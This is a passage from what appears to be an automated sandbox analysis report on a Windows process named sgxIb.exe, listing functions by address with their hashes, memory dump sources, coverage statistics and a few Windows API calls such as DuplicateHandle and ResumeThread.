Opcode ID: b322540bb28ff9513f16100ef41133c2db8cda1d69019279ef310cff22fed805
Instruction ID: 15eda062edbc6ae2150801af4351604be22e9cc27edeee70197c41360c560a86
Opcode Fuzzy Hash: b322540bb28ff9513f16100ef41133c2db8cda1d69019279ef310cff22fed805
Instruction Fuzzy Hash: 7421E5B5900349DFDB10CFAAD884ADEFBF4EB48310F14846AE914A7350D374A950CFA4

Function 0170D6F9 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0170D6C6,?,?,?,?,?), ref: 0170D787

Memory Dump Source

Source File: 00000010.00000002.1556571049.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1700000_sgxIb.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 28812a25ce7cbd754fe6ac27b549715ef61faf8d932ad962feb3e2a7e4901455
Instruction ID: 735fc12332ba3e15bf7eeac2a68dcd25377b5f5519f75f7eb6427c0681fcae6a
Opcode Fuzzy Hash: 28812a25ce7cbd754fe6ac27b549715ef61faf8d932ad962feb3e2a7e4901455
Instruction Fuzzy Hash: B621F4B5900349DFDB10CFAAD584ADEFBF4EB48310F14841AE958A3350D374A940CFA4

Function 05ECFBC0 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 05ECFC22

Memory Dump Source

Source File: 00000010.00000002.1560912273.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ec0000_sgxIb.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2cbf9e3347729e7c87e605e09e456e9c1704a2928e6cd49cef3cec5520e638d1
Instruction ID: 4eefa74cc7e7fa223e77d4924a55f4ae6fac3335f00311f9c9e61eb48e346fba
Opcode Fuzzy Hash: 2cbf9e3347729e7c87e605e09e456e9c1704a2928e6cd49cef3cec5520e638d1
Instruction Fuzzy Hash: 681128B19003498BDB10DFAAC4457DEFBF5EB88314F148419D559A7240C779A545CBA4

Function 0170B2F8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0170B35E

Memory Dump Source

Source File: 00000010.00000002.1556571049.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1700000_sgxIb.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b6b3d2db1a48419aab4b36597eb6a2ed62fcc357faaaba96f2febf0fde8d91eb
Instruction ID: 59ad5f77da83eff7f841a5782137d1d6101a333c148bcb460e3da330785c08ed
Opcode Fuzzy Hash: b6b3d2db1a48419aab4b36597eb6a2ed62fcc357faaaba96f2febf0fde8d91eb
Instruction Fuzzy Hash: E4110FB5C00349CFDB14CF9AC444A9EFBF4EB88210F20842AD919A7250C379A645CFA5

Function 013ED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1554300793.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13ed000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c4986eee9d23f9e6755197b15d5b310e47027e9b7f216978da2085db53160e
Instruction ID: 03ace8be42ca9f6943b510bda82ed8933a6b2e251a65a775d1e35d532cb9a473
Opcode Fuzzy Hash: 87c4986eee9d23f9e6755197b15d5b310e47027e9b7f216978da2085db53160e
Instruction Fuzzy Hash: C221D071604344DFDB15DF54D9C8B26BFA5FB84218F28C569D80A4B686C336D847CA62

Function 013ED1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1554300793.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13ed000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a34b1a13ee45594b414034a51c29cf7791606df5f705b497064d77fcf2824e
Instruction ID: e23980a5dedae20fab238350c24faa9b92604ad1fb52c238f6618cf124d1802a
Opcode Fuzzy Hash: 74a34b1a13ee45594b414034a51c29cf7791606df5f705b497064d77fcf2824e
Instruction Fuzzy Hash: 65210475904344EFDB05DF94D9C8B26BBA5FB84328F24C5ADE8094B2D2C336D846CA62

Function 013ED1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1554300793.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13ed000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 39c30b0b0d6fbe90de010e547f742433f399e278772578f5b1224a0041320ef4
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: EC11BB75504280DFCB02CF54C5C4B15BBB1FB84228F28C6AAD8494B696C33AD44ACB61

Function 013ED017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1554300793.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13ed000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 96dea07d7319bd1b7a23a4f6d48e33b344e98e261c89a47abd0136f58b5e1974
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: B5119075504380DFDB16CF54D5C4B15FFA1FB44318F28C6AAD8494B696C33AD84ACB61

Function 013DD731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1554218649.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13dd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf4240048954301c411da6cc83e71d5e3bed13806c29c53a1d726461927e2c90
Instruction ID: e4e3dc98b8010907682cbc4470cac0b20a8f4691e6a9c25b8afb280aeacd3bb2
Opcode Fuzzy Hash: bf4240048954301c411da6cc83e71d5e3bed13806c29c53a1d726461927e2c90
Instruction Fuzzy Hash: 2F01A2725043849BF7108EA5ED84B66FB9CEF45329F18C49AED094A2D2D6799840CAB2

Function 013DD730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1554218649.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13dd000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7b0c70dceb4629058a49e13a91d2c670b0b5de035a7bc08d2a1d29cc4bc907b
Instruction ID: 38b295ea6bb08a1c5b7854d6439829f406ca43f2b964b71696c7ee57ca83480b
Opcode Fuzzy Hash: d7b0c70dceb4629058a49e13a91d2c670b0b5de035a7bc08d2a1d29cc4bc907b
Instruction Fuzzy Hash: 8CF062724043849FE7118E1AD984B66FFD8EB85739F18C59AED484E2D2C3799844CAB1

Analysis Process: sgxIb.exePID: 3236, Parent PID: 1792COMMON

Execution Graph

Execution Coverage:	12.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 06DD56B0 Relevance: 1.8, Strings: 1, Instructions: 594
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06DD5A03

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: e6a2d9672ed1b9bcd2838c0c1a597c949bbb8694a0dfc78ba38c4c09610e05e3
Instruction ID: 63bc8f1cb8dc5b4342f8f71e9f0784e79dc537fdc13b9596416dae1a796eb5f8
Opcode Fuzzy Hash: e6a2d9672ed1b9bcd2838c0c1a597c949bbb8694a0dfc78ba38c4c09610e05e3
Instruction Fuzzy Hash: A322B075E002149FDF64EBA8D4847AEBBB2FF85320F24856AD456AB340DB35DC45CBA0

Function 06DD6708 Relevance: .8, Instructions: 822COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f964aadacb29a4b2b0330a3e3f9d656540f85c83a0154cdab572f045afc7f31b
Instruction ID: 7ce771baa7a62deb5949b8b9297102ebfc957f15119f17b9e5118bc43ef7e182
Opcode Fuzzy Hash: f964aadacb29a4b2b0330a3e3f9d656540f85c83a0154cdab572f045afc7f31b
Instruction Fuzzy Hash: 2A629C34E002449FDB54EB68D594AADBBF2FF88310F248569E806EB390DB35ED41CB90

Function 06DD3580 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74aaecb34d75c8a78806b54760e88a52a57815b43dbf73f1390a2af7eb9c5883
Instruction ID: f63bd1098ce3f6cf32b1372911e0d30358e060431ec25405b6316ef93c34b9ca
Opcode Fuzzy Hash: 74aaecb34d75c8a78806b54760e88a52a57815b43dbf73f1390a2af7eb9c5883
Instruction Fuzzy Hash: 9B321C31E10719CFDB14EFA9C8906ADB7B1FF89300F518669D409AB250EF70A985CB91

Function 06DD7E98 Relevance: .5, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde1258bc705db597e31ec9878638db90b374ffb6b948e18b2bc4305fc43c966
Instruction ID: 6e8f2fba86083f72147ab0fe52271b756a37aa71ff9cc4925aef86eba9a7892c
Opcode Fuzzy Hash: bde1258bc705db597e31ec9878638db90b374ffb6b948e18b2bc4305fc43c966
Instruction Fuzzy Hash: 5F027C30B012158FDB55EF68D8946AEBBF2FF88310F158569D816AB390DB35EC46CB90

Function 0302ED70 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1620076652.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3020000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc08e864dd900352c76ffd96def18f8dd992f7fd7546cc44bbcc2d3d061c236b
Instruction ID: dee842e99948699f94f05cec8850a8d764591e54840f476fd01af265ad5673e4
Opcode Fuzzy Hash: cc08e864dd900352c76ffd96def18f8dd992f7fd7546cc44bbcc2d3d061c236b
Instruction Fuzzy Hash: 1F412272E143998FCB14DFB5D8042DABFF5AF89210F1986ABD408E7281DB749841CBE1

Function 0302EE58 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0302EEBF

Memory Dump Source

Source File: 00000013.00000002.1620076652.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3020000_sgxIb.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5014baf1a7caa9e672333dc91c06f0c94a7639f411032696ad9addc409e919bc
Instruction ID: e22017cb56d87065201f57f58bb885835787bfea682e9e646ba0042ce7b9395e
Opcode Fuzzy Hash: 5014baf1a7caa9e672333dc91c06f0c94a7639f411032696ad9addc409e919bc
Instruction Fuzzy Hash: 4411F3B1C1065A9BDB10CF9AC444BDEFBF4AF48320F15816AD818A7640D378A944CFA5

Function 06DDD070 Relevance: .8, Instructions: 802
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac5d7f472565c1a2a2d9c445597c95a1891a467955d30aafd65d0f9cb9d096ad
Instruction ID: 93ef260fb409bad2b09afdc1ee2d2a23a439a6e12a65b417c956cc0569f37003
Opcode Fuzzy Hash: ac5d7f472565c1a2a2d9c445597c95a1891a467955d30aafd65d0f9cb9d096ad
Instruction Fuzzy Hash: C0624870A003198FDB55EF68D480A5EBBB2FF88304B208A68D016AF355DB75EC46CB91

Function 06DDC2B0 Relevance: .6, Instructions: 642
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea3cdfb2a607db4de9cf78e5e659ae7b5b75d92a914eba2d44f4bc8b7e2be676
Instruction ID: cf01b8da50833514ebc3cafdfa53a23ddb2232695d2b1acbf524aa3747e3eb1c
Opcode Fuzzy Hash: ea3cdfb2a607db4de9cf78e5e659ae7b5b75d92a914eba2d44f4bc8b7e2be676
Instruction Fuzzy Hash: 42325E34E102099FDB54EF68D890BADBBB6FB88310F118529E405EB391DB39EC45CB91

Function 06DDB3E7 Relevance: .6, Instructions: 562COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1149f2203adaec7c18974c09e20049e89bb89da224517e6ea821388537f7bc
Instruction ID: d5e9300af053dfae0f9720602484fff7bbb9668cf6958cc06b4685e8ec613db9
Opcode Fuzzy Hash: 3e1149f2203adaec7c18974c09e20049e89bb89da224517e6ea821388537f7bc
Instruction Fuzzy Hash: 692242B4E102099FDF64EF68D4907ADB7B2FB49314F66842AE405EB391DA34DC81CB51

Function 06DDADE8 Relevance: .4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a319e0621bb32016ea53408298195abee56777cd44a93e5aa22af5a26c2ef573
Instruction ID: 6a91789dfdeed74932a62e32a09899abbd1b017e11d77d8441562f31e251e8e6
Opcode Fuzzy Hash: a319e0621bb32016ea53408298195abee56777cd44a93e5aa22af5a26c2ef573
Instruction Fuzzy Hash: 73E16E70F103098FDB64EF68D8806AEB7B2EF89304F15852AD416AB350DB75EC46CB91

Function 06DD9268 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90af5834029d20f278ec890d65c74fcd0b2437ed1694fe5979290a060b924b80
Instruction ID: f62f8c04076afce4ac5e5a549fde869c4b3bcaf545d65cfe35098df26e88475f
Opcode Fuzzy Hash: 90af5834029d20f278ec890d65c74fcd0b2437ed1694fe5979290a060b924b80
Instruction Fuzzy Hash: 2E912D70F106198FDB54DF69D8A07AE7BB2FBC8300F508569D80AAB344EB75EC458B91

Function 06DD6308 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694b43c1348b86ab9e08acd6774f905a210aecad1238e25d2756d986b14bf418
Instruction ID: 659c591484bbe5b43adfbeddefc4d272310bbc39e602ec6b87e68d7850cfcc3c
Opcode Fuzzy Hash: 694b43c1348b86ab9e08acd6774f905a210aecad1238e25d2756d986b14bf418
Instruction Fuzzy Hash: 9261A571F001114FDB54ABBEC88466EBAE7AFC4620F194479D80ADB364DE76ED0287D1

Function 06DD43B9 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edc6c2631dc71057e99f85cff65af3d6ada6bbd37b08b36f83b13e98eb6b0e2
Instruction ID: eabe4100c9a7b6f928e241842bca53f4a89d335afcd9f783aa2f9564d72b450f
Opcode Fuzzy Hash: 5edc6c2631dc71057e99f85cff65af3d6ada6bbd37b08b36f83b13e98eb6b0e2
Instruction Fuzzy Hash: 98813E74B102498FDB54EFA8D4646AEBBF2BB88300F118529D50AEB384DF75EC458B91

Function 06DD46D4 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb02a8b95cdf861657df89196c759b1a39cabbac9258e6438f5eed5bcf682eae
Instruction ID: 1ff1497019cb352c92347b3a4c9b254473e57d679ba66fc79e49122883e65a32
Opcode Fuzzy Hash: fb02a8b95cdf861657df89196c759b1a39cabbac9258e6438f5eed5bcf682eae
Instruction Fuzzy Hash: 8C913B34E106199FDF60DF68C890B9DBBB1FF89310F208599D549BB281DB70AA85CF91

Function 06DD46E8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8827a5be499b1943865da16663c68696eb371b001df9fed8bac513eaa03d874f
Instruction ID: cd978cc439b2d4371c7ae91b80447778527cb735e48340e322d7c6284ed7959e
Opcode Fuzzy Hash: 8827a5be499b1943865da16663c68696eb371b001df9fed8bac513eaa03d874f
Instruction Fuzzy Hash: EE913B34E106199BDF60DF68C880B9DB7B1FF89310F208699D549BB381DB70AA85CF90

Function 06DDF039 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a50fcfb358b9fa3189f533374e7077062e5bd131669e8541ad7be49226a43b9f
Instruction ID: d3247153f5e6806ebbbd44b8359bb80eac7dd7cf879ee1b2c4a66ba90270fa2a
Opcode Fuzzy Hash: a50fcfb358b9fa3189f533374e7077062e5bd131669e8541ad7be49226a43b9f
Instruction Fuzzy Hash: 95714970A012499FDB54EFA9D880AADBBF6FF88304F248429D406EB355DB31EC46CB51

Function 06DDF048 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbc04c005374f569e4f36063b3c31744e120277c555051ced0d92ee348deb8dd
Instruction ID: 33597335faf60c7386c2424ae52ffb35d31ca9185733d48d353f14d208ddb0cb
Opcode Fuzzy Hash: cbc04c005374f569e4f36063b3c31744e120277c555051ced0d92ee348deb8dd
Instruction Fuzzy Hash: 91713870A012499FDB54EFA9D980AADBBF6FF88304F248429D406EB355DB30EC46CB51

Function 06DD4C80 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c535fd9488e8a1f685262982ed8a074fc84bff255be6d1efaa14bb1d760c00
Instruction ID: c8a47b8cf8f817a257dd49d10e533b1178dee8a003bc1888902a287199055dbe
Opcode Fuzzy Hash: b9c535fd9488e8a1f685262982ed8a074fc84bff255be6d1efaa14bb1d760c00
Instruction Fuzzy Hash: D6613E74E002189FEB54EFA9D8547AEBBF6FB88700F208529D506EB391DB758C458F50

Function 06DDFCC9 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 911094d0ee235138a451e8938449152e37659574d9553b9775142c6cb299fe4b
Instruction ID: 13fdf5249dd6a18cf79b42c5ba7802d639dc8beff2d40d6577908f57375dac28
Opcode Fuzzy Hash: 911094d0ee235138a451e8938449152e37659574d9553b9775142c6cb299fe4b
Instruction Fuzzy Hash: B351E030E002049FDB64FFB8E4846ADBBB2EB88215F108979E116EB291DB358C55CB91

Function 06DDFA78 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98cb8da08c74277661e8b4b94dc96d101c75764085dac2385dc776dd83d6885c
Instruction ID: df8d337dc6610e95a14fb7dd0a243fc87d4b100b9b707a22e1ccdf57ad901fe7
Opcode Fuzzy Hash: 98cb8da08c74277661e8b4b94dc96d101c75764085dac2385dc776dd83d6885c
Instruction Fuzzy Hash: 7A518374F102149BFF64ABB8D894B6F266AE789710F20853AE40BE73D4C97CCC5143A2

Function 06DD925A Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2b028413f2844ceb5d4e09f837e2096c7b8f8594f1236276aa9fb653bda8ae
Instruction ID: ce11e46767ddb55745e72547bf65f2c1933e694d7d8716d1a0298b7afef28bb7
Opcode Fuzzy Hash: 7d2b028413f2844ceb5d4e09f837e2096c7b8f8594f1236276aa9fb653bda8ae
Instruction Fuzzy Hash: 88512170B515058FDB54DB68D8A0B6E7BF6FB88700F508569D80AEB384EB35EC418B91

Function 06DDFA88 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b1dc6bbd1a55b26ee3ba62ad801ec1206234a8d5cb17bf0b17eecf33cb7892
Instruction ID: 00e4906384bbe85d5426ae3c16c9007fde92216ffb034d255e319f3e6a555160
Opcode Fuzzy Hash: 13b1dc6bbd1a55b26ee3ba62ad801ec1206234a8d5cb17bf0b17eecf33cb7892
Instruction Fuzzy Hash: CA516174F102149BFF64ABB8D894B6F266AE789710F208539E50BE73D4C97DCC4153A2

Function 06DD4C71 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e9f7b98d0e82822fdd848a8a0b1e7f6e96149008570fc124dbd2b0ed3208b2
Instruction ID: be12dcede91b0da644c2aa3183050380135b928a98952e26296acbf52af1a784
Opcode Fuzzy Hash: e6e9f7b98d0e82822fdd848a8a0b1e7f6e96149008570fc124dbd2b0ed3208b2
Instruction Fuzzy Hash: 17515074F002189FEB54DFA9C854BAEBBF6FF88700F208529D506AB395DA758C058B90

Function 06DD5529 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a293dbe392a7059e9edaef16a80bac4109543a561709b39aa1fab43f9f6ff7c
Instruction ID: 88e2a5431a4580cd9768a940eaa61b77f39323da51ffb18066c94a2828ff02d1
Opcode Fuzzy Hash: 2a293dbe392a7059e9edaef16a80bac4109543a561709b39aa1fab43f9f6ff7c
Instruction Fuzzy Hash: 9F417C72E007098FDF61DFA9E880ABFFBB2EB85310F10496AD156D7650D631E8498B91

Function 06DDDBE5 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca46ccccac3cbe6e636fcebdf78da77f73d09671ab28a905bb7600225231f9c
Instruction ID: c4a7241e5c863dd1ba9055612aebfee395ee0d7b1f7508eaaa435ffd156d9cd2
Opcode Fuzzy Hash: 9ca46ccccac3cbe6e636fcebdf78da77f73d09671ab28a905bb7600225231f9c
Instruction Fuzzy Hash: B1416D70E007099FDF61EF69D89469EBBB3BF89740F104529E405EB240EB749846CB91

Function 06DD21D0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99c3db706cdf41b3def3434238f0e8acdcd9a48a81c4e0c12745cdb5b73fc0fc
Instruction ID: 31576404107a26dae5a00b1f95b5856fac885dd5104e7cd9eab2343e48d6d447
Opcode Fuzzy Hash: 99c3db706cdf41b3def3434238f0e8acdcd9a48a81c4e0c12745cdb5b73fc0fc
Instruction Fuzzy Hash: 8931E030B002059FDB65AB78D56476E3BA2BF89754F20452CD502EB385EF39DE01C7A1

Function 06DDDA98 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

